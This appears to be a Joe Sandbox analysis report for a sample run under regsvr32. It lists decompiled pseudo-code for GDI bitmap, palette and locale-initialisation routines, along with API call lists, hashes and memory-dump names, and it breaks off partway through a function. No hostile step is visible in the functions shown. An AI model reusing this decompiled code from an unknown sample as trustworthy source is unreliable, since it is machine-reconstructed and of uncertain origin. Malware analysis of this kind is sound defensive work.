0x0041a784
0x0041a77d
0x0041a77d
0x0041a77d
0x0041a77b
0x0041a78b
0x0041a791
0x0041a794
0x0041a79f
0x0041a7a6
0x0041a7a9
0x0041a7c8
0x0041a7cb
0x0041a7ce
0x0041a7de
0x00000000
0x00000000
0x00000000
0x0041a615
0x0041a615
0x0041a617
0x0041a621
0x0041a626
0x0041a627
0x0041a62c
0x0041a62f
0x0041a635
0x0041a63a
0x0041a64d
0x0041a667
0x0041a66c
0x0041a672
0x0041a677
0x0041a679
0x0041a685
0x0041a697
0x0041a69e
0x0041a69e
0x0041a6a5
0x0041a6a6
0x0041a6ab
0x0041a6ae
0x0041a6c7
0x0041a6ce
0x0041a6d7
0x0041a6e0
0x0041a6d9
0x0041a6d9
0x0041a6d9
0x0041a6d7
0x0041a6e7
0x0041a6ea
0x0041a6ed
0x0041a6f6
0x0041a702
0x0041a702
0x0041a71a
0x0041a71a

APIs

GetDC.USER32(00000000), ref: 0041A5DE
CreateCompatibleDC.GDI32(00000001), ref: 0041A643
CreateCompatibleBitmap.GDI32(00000001,00000001,00000001), ref: 0041A658
SelectObject.GDI32(?,00000000), ref: 0041A662
SelectPalette.GDI32(?,?,00000000), ref: 0041A692
RealizePalette.GDI32(?), ref: 0041A69E
CreateDIBitmap.GDI32(?,?,00000004,00000000,?,00000000), ref: 0041A6C2
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,0041A71B,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 0041A6D0
SelectPalette.GDI32(?,00000000,000000FF), ref: 0041A702
SelectObject.GDI32(?,?), ref: 0041A70F
DeleteObject.GDI32(00000000), ref: 0041A715

Strings

BM, xrefs: 0041A498
(, xrefs: 0041A52D

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Select$CreateObjectPalette$BitmapCompatible$DeleteErrorLastRealize
String ID: ($BM
API String ID: 2831685396-2980357723
Opcode ID: bf1aa7c87154590a1af07ddcff8dcff37102d049b4069e335974fdcbd5801221
Instruction ID: 200beeb3434ec3654132620fa51989b6498344b60982e2fc828534865b435c6d
Opcode Fuzzy Hash: bf1aa7c87154590a1af07ddcff8dcff37102d049b4069e335974fdcbd5801221
Instruction Fuzzy Hash: A5D14E70A012089FDF04DFA9C985AEEBBF5FF48304F14846AE914EB395D7389990CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419A70 Relevance: 21.2, APIs: 14, Instructions: 217
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00419A70(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				struct HPALETTE__* _v12;
				char _v13;
				struct tagPOINT _v21;
				struct HDC__* _v28;
				void* _v32;
				struct HPALETTE__* _t78;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				char _t87;
				void* _t94;
				void* _t140;
				intOrPtr* _t170;
				intOrPtr _t178;
				intOrPtr _t182;
				intOrPtr _t184;
				intOrPtr _t186;
				int* _t190;
				intOrPtr _t192;
				void* _t194;
				void* _t195;
				intOrPtr _t196;

				_t171 = __ecx;
				_t194 = _t195;
				_t196 = _t195 + 0xffffffe4;
				_t190 = __ecx;
				_v8 = __edx;
				_t170 = __eax;
				_t192 =  *((intOrPtr*)(__eax + 0x28));
				_t178 =  *0x419cbc; // 0xf
				E00415C30(_v8, __ecx, _t178);
				E0041A0EC(_t170);
				_v12 = 0;
				_v13 = 0;
				_t78 =  *(_t192 + 0x10);
				if(_t78 != 0) {
					_v12 = SelectPalette( *(_v8 + 4), _t78, 0xffffffff);
					RealizePalette( *(_v8 + 4));
					_v13 = 1;
				}
				_push(GetDeviceCaps( *(_v8 + 4), 0xc));
				_t84 = GetDeviceCaps( *(_v8 + 4), 0xe);
				_pop(_t85);
				_t86 = _t85 * _t84;
				if(_t86 > 8) {
					L4:
					_t87 = 0;
				} else {
					_t171 =  *(_t192 + 0x28) & 0x0000ffff;
					if(_t86 < ( *(_t192 + 0x2a) & 0x0000ffff) * ( *(_t192 + 0x28) & 0x0000ffff)) {
						_t87 = 1;
					} else {
						goto L4;
					}
				}
				if(_t87 == 0) {
					if(E00419DFC(_t170) == 0) {
						SetStretchBltMode(E00415B5C(_v8), 3);
					}
				} else {
					GetBrushOrgEx( *(_v8 + 4),  &_v21);
					SetStretchBltMode( *(_v8 + 4), 4);
					SetBrushOrgEx( *(_v8 + 4), _v21, _v21.y,  &_v21);
				}
				_push(_t194);
				_push(0x419cac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t196;
				if( *((intOrPtr*)( *_t170 + 0x28))() != 0) {
					E0041A08C(_t170, _t171);
				}
				_t94 = E00419D40(_t170);
				_t182 =  *0x419cbc; // 0xf
				E00415C30(_t94, _t171, _t182);
				if( *((intOrPtr*)( *_t170 + 0x28))() == 0) {
					StretchBlt( *(_v8 + 4),  *_t190, _t190[1], _t190[2] -  *_t190, _t190[3] - _t190[1],  *(E00419D40(_t170) + 4), 0, 0,  *(_t192 + 0x1c),  *(_t192 + 0x20),  *(_v8 + 0x20));
					_pop(_t184);
					 *[fs:eax] = _t184;
					_push(E00419CB3);
					if(_v13 != 0) {
						return SelectPalette( *(_v8 + 4), _v12, 0xffffffff);
					}
					return 0;
				} else {
					_v32 = 0;
					_v28 = 0;
					_push(_t194);
					_push(0x419c41);
					_push( *[fs:eax]);
					 *[fs:eax] = _t196;
					_v28 = E00415F54(CreateCompatibleDC(0));
					_v32 = SelectObject(_v28,  *(_t192 + 0xc));
					E004160F8( *(_v8 + 4), _t170, _t190[1],  *_t190, _t190, _t192, 0, 0, _v28,  *(_t192 + 0x20),  *(_t192 + 0x1c), 0, 0,  *(E00419D40(_t170) + 4), _t190[3] - _t190[1], _t190[2] -  *_t190);
					_t140 = 0;
					_pop(_t186);
					 *[fs:eax] = _t186;
					_push(0x419c86);
					if(_v32 != 0) {
						_t140 = SelectObject(_v28, _v32);
					}
					if(_v28 != 0) {
						return DeleteDC(_v28);
					}
					return _t140;
				}
			}

0x00419a70
0x00419a71
0x00419a73
0x00419a79
0x00419a7b
0x00419a7e
0x00419a80
0x00419a83
0x00419a8c
0x00419a93
0x00419a9a
0x00419a9d
0x00419aa1
0x00419aa6
0x00419ab7
0x00419ac1
0x00419ac6
0x00419ac6
0x00419ad8
0x00419ae2
0x00419ae9
0x00419aea
0x00419aef
0x00419b00
0x00419b00
0x00419af1
0x00419af5
0x00419afe
0x00419b04
0x00000000
0x00000000
0x00000000
0x00419afe
0x00419b08
0x00419b4b
0x00419b58
0x00419b58
0x00419b0a
0x00419b15
0x00419b23
0x00419b3b
0x00419b3b
0x00419b5f
0x00419b60
0x00419b65
0x00419b68
0x00419b74
0x00419b78
0x00419b78
0x00419b7f
0x00419b84
0x00419b8a
0x00419b98
0x00419c81
0x00419c88
0x00419c8b
0x00419c8e
0x00419c97
0x00000000
0x00419ca6
0x00419cab
0x00419b9e
0x00419ba0
0x00419ba5
0x00419baa
0x00419bab
0x00419bb0
0x00419bb3
0x00419bc2
0x00419bd2
0x00419c0c
0x00419c11
0x00419c13
0x00419c16
0x00419c19
0x00419c22
0x00419c2c
0x00419c2c
0x00419c35
0x00000000
0x00419c3b
0x00419c40
0x00419c40

APIs

Part of subcall function 0041A0EC: GetDC.USER32(00000000), ref: 0041A142
Part of subcall function 0041A0EC: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041A157
Part of subcall function 0041A0EC: GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041A161
Part of subcall function 0041A0EC: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00418CAB,00000000,00418D37), ref: 0041A185
Part of subcall function 0041A0EC: ReleaseDC.USER32 ref: 0041A190

SelectPalette.GDI32(?,?,000000FF), ref: 00419AB2
RealizePalette.GDI32(?), ref: 00419AC1
GetDeviceCaps.GDI32(?,0000000C), ref: 00419AD3
GetDeviceCaps.GDI32(?,0000000E), ref: 00419AE2
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 00419B15
SetStretchBltMode.GDI32(?,00000004), ref: 00419B23
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 00419B3B
SetStretchBltMode.GDI32(00000000,00000003), ref: 00419B58
CreateCompatibleDC.GDI32(00000000), ref: 00419BB8
SelectObject.GDI32(?,?), ref: 00419BCD
SelectObject.GDI32(?,00000000), ref: 00419C2C
DeleteDC.GDI32(00000000), ref: 00419C3B

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CapsDevice$PaletteSelect$BrushCreateModeObjectStretch$CompatibleDeleteHalftoneRealizeRelease
String ID:
API String ID: 2414602066-0
Opcode ID: 650015da51998f4f9581f280a9071a98f1e0ba27ba3809d78e84b4f7a7a66421
Instruction ID: 70baeda2be55fabe9597633a1fc4539d30cc529e95525af63c64e2d2608190a9
Opcode Fuzzy Hash: 650015da51998f4f9581f280a9071a98f1e0ba27ba3809d78e84b4f7a7a66421
Instruction Fuzzy Hash: 80713875A04605AFDB50DFA9C995E9FBBF8EF08304F10856AF508EB291D638ED40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00415F64 Relevance: 21.1, APIs: 14, Instructions: 131
windowCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00415F64(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _v8;
				int _v12;
				int _v16;
				struct HBITMAP__* _v20;
				struct HDC__* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				void* _t78;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t91;
				void* _t93;
				void* _t94;
				intOrPtr _t95;

				_t93 = _t94;
				_t95 = _t94 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_t77 = __ecx;
				_v8 = __eax;
				_v28 = CreateCompatibleDC(0);
				_v32 = CreateCompatibleDC(0);
				_push(_t93);
				_push(0x4160b2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t95;
				GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_v24 = GetDC(0);
					if(_v24 == 0) {
						E00415EAC(_t77);
					}
					_push(_t93);
					_push(0x416021);
					_push( *[fs:eax]);
					 *[fs:eax] = _t95;
					_v20 = CreateCompatibleBitmap(_v24, _v16, _v12);
					if(_v20 == 0) {
						E00415EAC(_t77);
					}
					_pop(_t85);
					 *[fs:eax] = _t85;
					_push(0x416028);
					return ReleaseDC(0, _v24);
				} else {
					_v20 = CreateBitmap(_v16, _v12, 1, 1, 0);
					if(_v20 != 0) {
						_t78 = SelectObject(_v28, _v8);
						_t91 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t78 != 0) {
							SelectObject(_v28, _t78);
						}
						if(_t91 != 0) {
							SelectObject(_v32, _t91);
						}
					}
					_pop(_t86);
					 *[fs:eax] = _t86;
					_push(E004160B9);
					DeleteDC(_v28);
					return DeleteDC(_v32);
				}
			}

0x00415f65
0x00415f67
0x00415f72
0x00415f73
0x00415f74
0x00415f76
0x00415f80
0x00415f8a
0x00415f8f
0x00415f90
0x00415f95
0x00415f98
0x00415fa5
0x00415fac
0x00415fcd
0x00415fd4
0x00415fd6
0x00415fd6
0x00415fdd
0x00415fde
0x00415fe3
0x00415fe6
0x00415ffa
0x00416001
0x00416003
0x00416003
0x0041600a
0x0041600d
0x00416010
0x00416020
0x00415fae
0x00415fc1
0x0041602c
0x0041603b
0x0041604a
0x00416071
0x00416078
0x0041607f
0x0041607f
0x00416086
0x0041608d
0x0041608d
0x00416086
0x00416094
0x00416097
0x0041609a
0x004160a3
0x004160b1
0x004160b1

APIs

CreateCompatibleDC.GDI32(00000000), ref: 00415F7B
CreateCompatibleDC.GDI32(00000000), ref: 00415F85
GetObjectA.GDI32(?,00000018,?), ref: 00415FA5
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 00415FBC
GetDC.USER32(00000000), ref: 00415FC8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00415FF5
ReleaseDC.USER32 ref: 0041601B
SelectObject.GDI32(?,?), ref: 00416036
SelectObject.GDI32(?,00000000), ref: 00416045
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 00416071
SelectObject.GDI32(?,00000000), ref: 0041607F
SelectObject.GDI32(?,00000000), ref: 0041608D
DeleteDC.GDI32(?), ref: 004160A3
DeleteDC.GDI32(?), ref: 004160AC

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: 64dd3cacd9e37901f9ca0fca9c777523c342353144d585e1e7a2252f8aa58085
Instruction ID: 2a060b00cbbd9c1ffd3d2c93655ac2e334a1c44ac6df399df5b9eba8dbe19474
Opcode Fuzzy Hash: 64dd3cacd9e37901f9ca0fca9c777523c342353144d585e1e7a2252f8aa58085
Instruction Fuzzy Hash: C041CC71A44709AFDB10DBE9C846FAFB7BCEB48704F114466B604F7281D6789E408B68

Uniqueness

Uniqueness Score: -1.00%

Function 00419A6E Relevance: 16.7, APIs: 11, Instructions: 165
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00419A6E(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				struct HPALETTE__* _v12;
				char _v13;
				struct tagPOINT _v21;
				struct HDC__* _v28;
				void* _v32;
				struct HPALETTE__* _t78;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				char _t87;
				void* _t94;
				void* _t140;
				intOrPtr* _t170;
				intOrPtr _t178;
				intOrPtr _t182;
				intOrPtr _t184;
				intOrPtr _t186;
				int* _t190;
				intOrPtr _t192;
				void* _t194;
				void* _t195;
				intOrPtr _t196;

				_t171 = __ecx;
				_t194 = _t195;
				_t196 = _t195 + 0xffffffe4;
				_t190 = __ecx;
				_v8 = __edx;
				_t170 = __eax;
				_t192 =  *((intOrPtr*)(__eax + 0x28));
				_t178 =  *0x419cbc; // 0xf
				E00415C30(_v8, __ecx, _t178);
				E0041A0EC(_t170);
				_v12 = 0;
				_v13 = 0;
				_t78 =  *(_t192 + 0x10);
				if(_t78 != 0) {
					_v12 = SelectPalette( *(_v8 + 4), _t78, 0xffffffff);
					RealizePalette( *(_v8 + 4));
					_v13 = 1;
				}
				_push(GetDeviceCaps( *(_v8 + 4), 0xc));
				_t84 = GetDeviceCaps( *(_v8 + 4), 0xe);
				_pop(_t85);
				_t86 = _t85 * _t84;
				if(_t86 > 8) {
					L5:
					_t87 = 0;
				} else {
					_t171 =  *(_t192 + 0x28) & 0x0000ffff;
					if(_t86 < ( *(_t192 + 0x2a) & 0x0000ffff) * ( *(_t192 + 0x28) & 0x0000ffff)) {
						_t87 = 1;
					} else {
						goto L5;
					}
				}
				if(_t87 == 0) {
					if(E00419DFC(_t170) == 0) {
						SetStretchBltMode(E00415B5C(_v8), 3);
					}
				} else {
					GetBrushOrgEx( *(_v8 + 4),  &_v21);
					SetStretchBltMode( *(_v8 + 4), 4);
					SetBrushOrgEx( *(_v8 + 4), _v21, _v21.y,  &_v21);
				}
				_push(_t194);
				_push(0x419cac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t196;
				if( *((intOrPtr*)( *_t170 + 0x28))() != 0) {
					E0041A08C(_t170, _t171);
				}
				_t94 = E00419D40(_t170);
				_t182 =  *0x419cbc; // 0xf
				E00415C30(_t94, _t171, _t182);
				if( *((intOrPtr*)( *_t170 + 0x28))() == 0) {
					StretchBlt( *(_v8 + 4),  *_t190, _t190[1], _t190[2] -  *_t190, _t190[3] - _t190[1],  *(E00419D40(_t170) + 4), 0, 0,  *(_t192 + 0x1c),  *(_t192 + 0x20),  *(_v8 + 0x20));
					_pop(_t184);
					 *[fs:eax] = _t184;
					_push(E00419CB3);
					if(_v13 != 0) {
						return SelectPalette( *(_v8 + 4), _v12, 0xffffffff);
					}
					return 0;
				} else {
					_v32 = 0;
					_v28 = 0;
					_push(_t194);
					_push(0x419c41);
					_push( *[fs:eax]);
					 *[fs:eax] = _t196;
					_v28 = E00415F54(CreateCompatibleDC(0));
					_v32 = SelectObject(_v28,  *(_t192 + 0xc));
					E004160F8( *(_v8 + 4), _t170, _t190[1],  *_t190, _t190, _t192, 0, 0, _v28,  *(_t192 + 0x20),  *(_t192 + 0x1c), 0, 0,  *(E00419D40(_t170) + 4), _t190[3] - _t190[1], _t190[2] -  *_t190);
					_t140 = 0;
					_pop(_t186);
					 *[fs:eax] = _t186;
					_push(0x419c86);
					if(_v32 != 0) {
						_t140 = SelectObject(_v28, _v32);
					}
					if(_v28 != 0) {
						return DeleteDC(_v28);
					}
					return _t140;
				}
			}

0x00419a6e
0x00419a71
0x00419a73
0x00419a79
0x00419a7b
0x00419a7e
0x00419a80
0x00419a83
0x00419a8c
0x00419a93
0x00419a9a
0x00419a9d
0x00419aa1
0x00419aa6
0x00419ab7
0x00419ac1
0x00419ac6
0x00419ac6
0x00419ad8
0x00419ae2
0x00419ae9
0x00419aea
0x00419aef
0x00419b00
0x00419b00
0x00419af1
0x00419af5
0x00419afe
0x00419b04
0x00000000
0x00000000
0x00000000
0x00419afe
0x00419b08
0x00419b4b
0x00419b58
0x00419b58
0x00419b0a
0x00419b15
0x00419b23
0x00419b3b
0x00419b3b
0x00419b5f
0x00419b60
0x00419b65
0x00419b68
0x00419b74
0x00419b78
0x00419b78
0x00419b7f
0x00419b84
0x00419b8a
0x00419b98
0x00419c81
0x00419c88
0x00419c8b
0x00419c8e
0x00419c97
0x00000000
0x00419ca6
0x00419cab
0x00419b9e
0x00419ba0
0x00419ba5
0x00419baa
0x00419bab
0x00419bb0
0x00419bb3
0x00419bc2
0x00419bd2
0x00419c0c
0x00419c11
0x00419c13
0x00419c16
0x00419c19
0x00419c22
0x00419c2c
0x00419c2c
0x00419c35
0x00000000
0x00419c3b
0x00419c40
0x00419c40

APIs

Part of subcall function 0041A0EC: GetDC.USER32(00000000), ref: 0041A142
Part of subcall function 0041A0EC: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041A157
Part of subcall function 0041A0EC: GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041A161
Part of subcall function 0041A0EC: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00418CAB,00000000,00418D37), ref: 0041A185
Part of subcall function 0041A0EC: ReleaseDC.USER32 ref: 0041A190

SelectPalette.GDI32(?,?,000000FF), ref: 00419AB2
RealizePalette.GDI32(?), ref: 00419AC1
GetDeviceCaps.GDI32(?,0000000C), ref: 00419AD3
GetDeviceCaps.GDI32(?,0000000E), ref: 00419AE2
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 00419B15
SetStretchBltMode.GDI32(?,00000004), ref: 00419B23
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 00419B3B
CreateCompatibleDC.GDI32(00000000), ref: 00419BB8
SelectObject.GDI32(?,?), ref: 00419BCD

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CapsDevice$Palette$BrushCreateSelect$CompatibleHalftoneModeObjectRealizeReleaseStretch
String ID:
API String ID: 2358456236-0
Opcode ID: 7a3b097cc66f493399864e07c80d705280f297af78ddca0c5c2dc936900feccc
Instruction ID: 9ffc1dcf3f414674def7ea88ac27121dce92bc484c94c6de5a3656f788b02648
Opcode Fuzzy Hash: 7a3b097cc66f493399864e07c80d705280f297af78ddca0c5c2dc936900feccc
Instruction Fuzzy Hash: 20513C71A04605AFDB50DFA9C995E9FBBF8EF48304F10846AF504EB291D638ED40CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041B93E Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041B93E() {
				void* _t1;
				intOrPtr _t20;
				intOrPtr _t22;

				 *0x43a884 =  *0x43a884 - 1;
				if( *0x43a884 < 0) {
					E0041B630();
					_push(0x43a89c);
					L00405BC4();
					_push(0x43a8b4);
					L00405BC4();
					 *0x43a88c = GetStockObject(7);
					 *0x43a890 = GetStockObject(5);
					 *0x43a894 = GetStockObject(0xd);
					 *0x43a898 = LoadIconA(0, 0x7f00);
					E0041B6AC();
					 *0x43a8cc = E00414480(0x2c, 1);
					 *0x43a8d0 = E00414480(0x10, 1);
					 *0x43a8d4 = E00414480(0x10, 1);
					 *0x43a8dc = E0041B778(1);
					 *0x437664 = E00410828(1);
					 *0x43a8d8 = E00410828(1);
					_t20 =  *0x4134f0; // 0x4134f4
					E004104D0(_t20, E00414BC0, 0x414bd0);
					_t22 =  *0x413620; // 0x413624
					return E004104D0(_t22, 0x414dc8, E00414DD8);
				}
				return _t1;
			}

0x0041b940
0x0041b947
0x0041b94d
0x0041b952
0x0041b957
0x0041b95c
0x0041b961
0x0041b96d
0x0041b979
0x0041b985
0x0041b996
0x0041b99b
0x0041b9b0
0x0041b9c5
0x0041b9da
0x0041b9eb
0x0041b9fc
0x0041ba0d
0x0041ba1c
0x0041ba21
0x0041ba30
0x00000000
0x0041ba35
0x0041ba3a

APIs

Part of subcall function 0041B630: GetDC.USER32(00000000), ref: 0041B633
Part of subcall function 0041B630: GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041B63D
Part of subcall function 0041B630: ReleaseDC.USER32 ref: 0041B64A

RtlInitializeCriticalSection.KERNEL32(0043A89C), ref: 0041B957
RtlInitializeCriticalSection.KERNEL32(0043A8B4,0043A89C), ref: 0041B961
GetStockObject.GDI32(00000007), ref: 0041B968
GetStockObject.GDI32(00000005), ref: 0041B974
GetStockObject.GDI32(0000000D), ref: 0041B980
LoadIconA.USER32 ref: 0041B991

Part of subcall function 0041B6AC: MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041B6B9
Part of subcall function 0041B6AC: MulDiv.KERNEL32(00000009,00000060,00000048), ref: 0041B6F5

Part of subcall function 00414480: RtlInitializeCriticalSection.KERNEL32(?), ref: 0041449A

Part of subcall function 0041B778: RtlInitializeCriticalSection.KERNEL32(0000000A,?,00000002,?,000041B7), ref: 0041B78E

Part of subcall function 00410828: RtlInitializeCriticalSection.KERNEL32(0040F94C,?,?,00413419,00000000,0041343D), ref: 00410847

Strings

XDA, xrefs: 0041B9A6, 0041B9BB, 0041B9D0
$6A, xrefs: 0041BA30

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalInitializeSection$ObjectStock$CapsDeviceIconLoadRelease
String ID: $6A$XDA
API String ID: 722316627-3374312414
Opcode ID: 713d5019035d5d56ae65fc359e2f314bc15dedb50bc9d938fe9a107fb850b2e6
Instruction ID: e6ae51ac742a7a1526801fdd41e9eeb20ae5ad73e3f1435ae37966dca1ee8533
Opcode Fuzzy Hash: 713d5019035d5d56ae65fc359e2f314bc15dedb50bc9d938fe9a107fb850b2e6
Instruction Fuzzy Hash: 8311EA705902019AD304FF75FD5279937E0EB6030CB10A03BF1449B2A1CB7968959B8E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4F4 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B4F4(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				void* _t104;
				void* _t111;
				void* _t133;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t194;

				_t191 = __esi;
				_t190 = __edi;
				_t193 = _t194;
				_t133 = 8;
				do {
					_push(0);
					_push(0);
					_t133 = _t133 - 1;
				} while (_t133 != 0);
				_push(__ebx);
				_push(_t193);
				_push(0x40b7bf);
				_push( *[fs:eax]);
				 *[fs:eax] = _t194;
				E0040B380();
				E00409DF0(__ebx, __edi, __esi);
				_t196 =  *0x43a748;
				if( *0x43a748 != 0) {
					E00409FC8(__esi, _t196);
				}
				_t132 = GetThreadLocale();
				E00409D40(_t43, 0, 0x14,  &_v20);
				E00403C8C(0x43a67c, _v20);
				E00409D40(_t43, 0x40b7d4, 0x1b,  &_v24);
				 *0x43a680 = E00407248(0x40b7d4, 0, _t196);
				E00409D40(_t132, 0x40b7d4, 0x1c,  &_v28);
				 *0x43a681 = E00407248(0x40b7d4, 0, _t196);
				 *0x43a682 = E00409D8C(_t132, 0x2c, 0xf);
				 *0x43a683 = E00409D8C(_t132, 0x2e, 0xe);
				E00409D40(_t132, 0x40b7d4, 0x19,  &_v32);
				 *0x43a684 = E00407248(0x40b7d4, 0, _t196);
				 *0x43a685 = E00409D8C(_t132, 0x2f, 0x1d);
				E00409D40(_t132, "m/d/yy", 0x1f,  &_v40);
				E0040A078(_v40, _t132,  &_v36, _t190, _t191, _t196);
				E00403C8C(0x43a688, _v36);
				E00409D40(_t132, "mmmm d, yyyy", 0x20,  &_v48);
				E0040A078(_v48, _t132,  &_v44, _t190, _t191, _t196);
				E00403C8C(0x43a68c, _v44);
				 *0x43a690 = E00409D8C(_t132, 0x3a, 0x1e);
				E00409D40(_t132, 0x40b808, 0x28,  &_v52);
				E00403C8C(0x43a694, _v52);
				E00409D40(_t132, 0x40b814, 0x29,  &_v56);
				E00403C8C(0x43a698, _v56);
				E00403C38( &_v12);
				E00403C38( &_v16);
				E00409D40(_t132, 0x40b7d4, 0x25,  &_v60);
				_t104 = E00407248(0x40b7d4, 0, _t196);
				_t197 = _t104;
				if(_t104 != 0) {
					E00403CD0( &_v8, 0x40b82c);
				} else {
					E00403CD0( &_v8, 0x40b820);
				}
				E00409D40(_t132, 0x40b7d4, 0x23,  &_v64);
				_t111 = E00407248(0x40b7d4, 0, _t197);
				_t198 = _t111;
				if(_t111 == 0) {
					E00409D40(_t132, 0x40b7d4, 0x1005,  &_v68);
					if(E00407248(0x40b7d4, 0, _t198) != 0) {
						E00403CD0( &_v12, 0x40b848);
					} else {
						E00403CD0( &_v16, 0x40b838);
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
